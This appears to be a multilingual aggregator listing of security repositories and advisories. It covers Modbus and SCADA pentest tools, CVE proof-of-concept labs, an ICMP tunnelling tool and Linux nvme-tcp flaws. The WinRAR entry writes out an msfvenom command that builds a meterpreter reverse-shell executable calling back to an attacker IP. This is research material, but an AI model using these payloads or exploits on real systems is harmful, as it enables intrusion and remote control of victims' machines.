smod

smod smod es un framework modular con toda clase de funcionalidades diagnósticas y ofensivas que puedas necesitar para hacer pentesting del protocolo Modbus. Es una implementación completa del protocolo Modbus utilizando Python y Scapy. Este software puede ejecutarse en Linux/OSX bajo Python 2.7....

scada-scanner

Escáner y Analizador de Huellas SCADA Resumen Escáner SCADA/ICS asíncrono y de alto rendimiento para identificar y analizar las huellas de sistemas de control industrial en redes. Detecta vulnerabilidades, identifica fabricantes/productos y genera informes de riesgo exhaustivos. ADVERTENCIA: Solo...

CVE-2024-38063

CVE-2024-38063 - SSP H3 对于这个设置（来自视频的那个），我使用了 Windows 22H2 19045 和 build 2468。（这个 CVE 直到 4780 才被修补） 我在 Qemu/KVM 上尝试过，但网卡没有合并数据包（根据我用 tcpdump 调查的结果）。解决方案是使用 VirtualBox 的 Host-Only 网络。 我尝试了几个 PoC（巧干而非蛮干）： https://github.com/ThemeHackers/CVE-2024-38063...

POC-CVE-2012-1831

POC-CVE-2012-1831 针对CVE-2012-1831的概念验证 Kingview Touchview 6.53 Kingview背景 KingView® 是一款基于Windows的强大工业SCADA软件，用于监控和控制工业过程。经过超过25年的发展，它现在被誉为中国市场上最畅销的自动化软件，并在国际上拥有庞大的用户群。 CVE描述 CVE-2012-1831 是 WellinTech KingView 6.53 中一个基于堆的缓冲区溢出漏洞，允许远程攻击者通过向TCP端口555发送特制数据包来执行任意代码。 CVSS: 10.0 严重 POC 报告进行中...

CVE-2018-20250

Configuración Video demo: https://youtu.be/5tuWsi1tGS0 Máquina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Procedimiento Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...

CVE-2021-42392-exploit-lab

⚠️ H2数据库RCE利用PoC CVE-2021-42392 本仓库提供了一个最小且可控的环境，用于使用 CREATE ALIAS 特性测试 H2数据库远程代码执行漏洞 CVE-2021-42392 。与许多演示不同，此利用直接针对 H2 TCP 服务（通常在端口 9092），而不依赖 H2 Web 控制台。 🛑 仅用于教育和测试目的。请勿在您不拥有或未经明确许可的系统上使用。 描述 CVE-2021-42392 是 H2 Database 2.0.206 之前版本中的一个严重漏洞，如果数据库通过 TCP 或 Web 控制台暴露，则允许通过 CREATE ALIAS 远程执行代码。...

CVE-2018-19629

Entorno de prueba CVE-2018-19629 Entorno de prueba Docker para CVE-2018-19629 - Denegación de Servicio en Hyland Perceptive Content Server. Detalles de la Vulnerabilidad Campo| Valor ---|--- ID de CVE| CVE-2018-19629 Gravedad| Alta DoS Versiones Afectadas| Hyland Perceptive Content Server 7.1.5...

pingtunnel master-d7cd0d6ab5f18e7d8d050385e8d240b3b2f41e6c

Pingtunnel Pingtunnel is a tool that sends TCP/UDP traffic over ICMP. Note: This tool is only to be used for study and research, do not use it for illegal purposes Usage & Detailed Documentation 📖 For detailed documentation, seeUSAGE.md: includes complete command-line parameters, configuration fi...

CVE-2022-36234

Descripción de CVE-2022-36234 Se descubrió que la confirmación 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 del Servidor TCP SimpleNetwork contiene una vulnerabilidad de doble liberación double free que se explota mediante paquetes TCP manipulados. Provocar la doble liberación permitirá a los cliente...

ReverseSock5Proxy

Reverse TCP Sock5 Proxy Un pequeño proxy inverso Sock5 Servidor La GUI del servidor construida con ImGui :V Puedes descargar una versión precompilada desde Releases. Compilación Necesitas gcc versión 12+ la recomendada para Windows Conan Package Manager Y ejecuta cualquier script de la carpeta...

CVE-2024-38063_PoC

Advertencia: ¡El exploit de ejecución remota de código de esta vulnerabilidad es potencialmente volátil! 🚀 Envío de Paquetes para la Vulnerabilidad de Ejecución Remota de Código en TCP/IP de Windows CVE-2024-38063 🎭 ¿Estás listo para desatar el caos en un entorno controlado? ¡No busques más! Este...

CyberSecurity-Pentest-Lab

Distcc 3.2.1 — Remote Code Execution CVE-2004-2687 Laboratorio de penetration testing: identificación, explotación y remediación de una vulnerabilidad RCE sin autenticación en Distcc 3.2.1, realizado contra Metasploitable 2 en un entorno de laboratorio aislado Kali Linux como atacante. Ejercicio...

Linux Distros Unpatched Vulnerability : CVE-2026-89482

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - nvme-tcp: do not accept C2HData based on blkrqpayloadbytes alone Commit 25e5cb780e62 nvme-tcp: fix possible crash in writezeroes processing established that...

Linux Distros Unpatched Vulnerability : CVE-2026-89480

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - nvme-tcp: reject a read that transferred too few bytes nvmetcprecvdata completes a request once the current C2HData PDU has been consumed. Nothing compares the...

Linux Distros Unpatched Vulnerability : CVE-2026-89481

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - nvme-tcp: fix host memory disclosure on R2T for a read command nvmetcphandler2t does not check the direction of the request the R2T refers to. A malicious...

modbus-scanner

Escáner de Detección Modbus Un escáner C multihilo para detectar servicios Modbus/TCP utilizando libmodbus. El escáner no se basa únicamente en que el puerto TCP 502 esté abierto. En su lugar, establece una conexión Modbus/TCP y envía una solicitud Modbus a nivel de aplicación. Una respuesta Modb...

CVE-2026-89481

A flaw was found in the Linux kernel's NVMe Non-Volatile Memory Express over TCP nvme-tcp component. A malicious NVMe controller can exploit this vulnerability by sending a Ready to Transfer R2T command for a read request. The host system, failing to properly validate the request direction, will...

CVE-2026-89482

A flaw was found in the nvme-tcp module of the Linux kernel. This vulnerability arises from improper handling of C2HData for REQOPWRITEZEROES commands, where the system fails to adequately validate the data length. A remote attacker could exploit this by sending specially crafted C2HData, leading...

CVE-2026-89480

A flaw was found in the NVMe-TCP implementation of the Linux kernel. This vulnerability occurs when the system completes a data read request even if the connected controller transfers fewer bytes than expected. As a result, the user application receives a mix of legitimate and stale data,...

CVE-2026-80788

A flaw was found in the Linux kernel's nvmet-tcp component. A remote attacker can send a specially crafted command with an oversized Scatter-Gather List SGL allocation. This can lead to an excessive memory allocation, triggering a kernel warning. On systems configured to panic on warnings, this...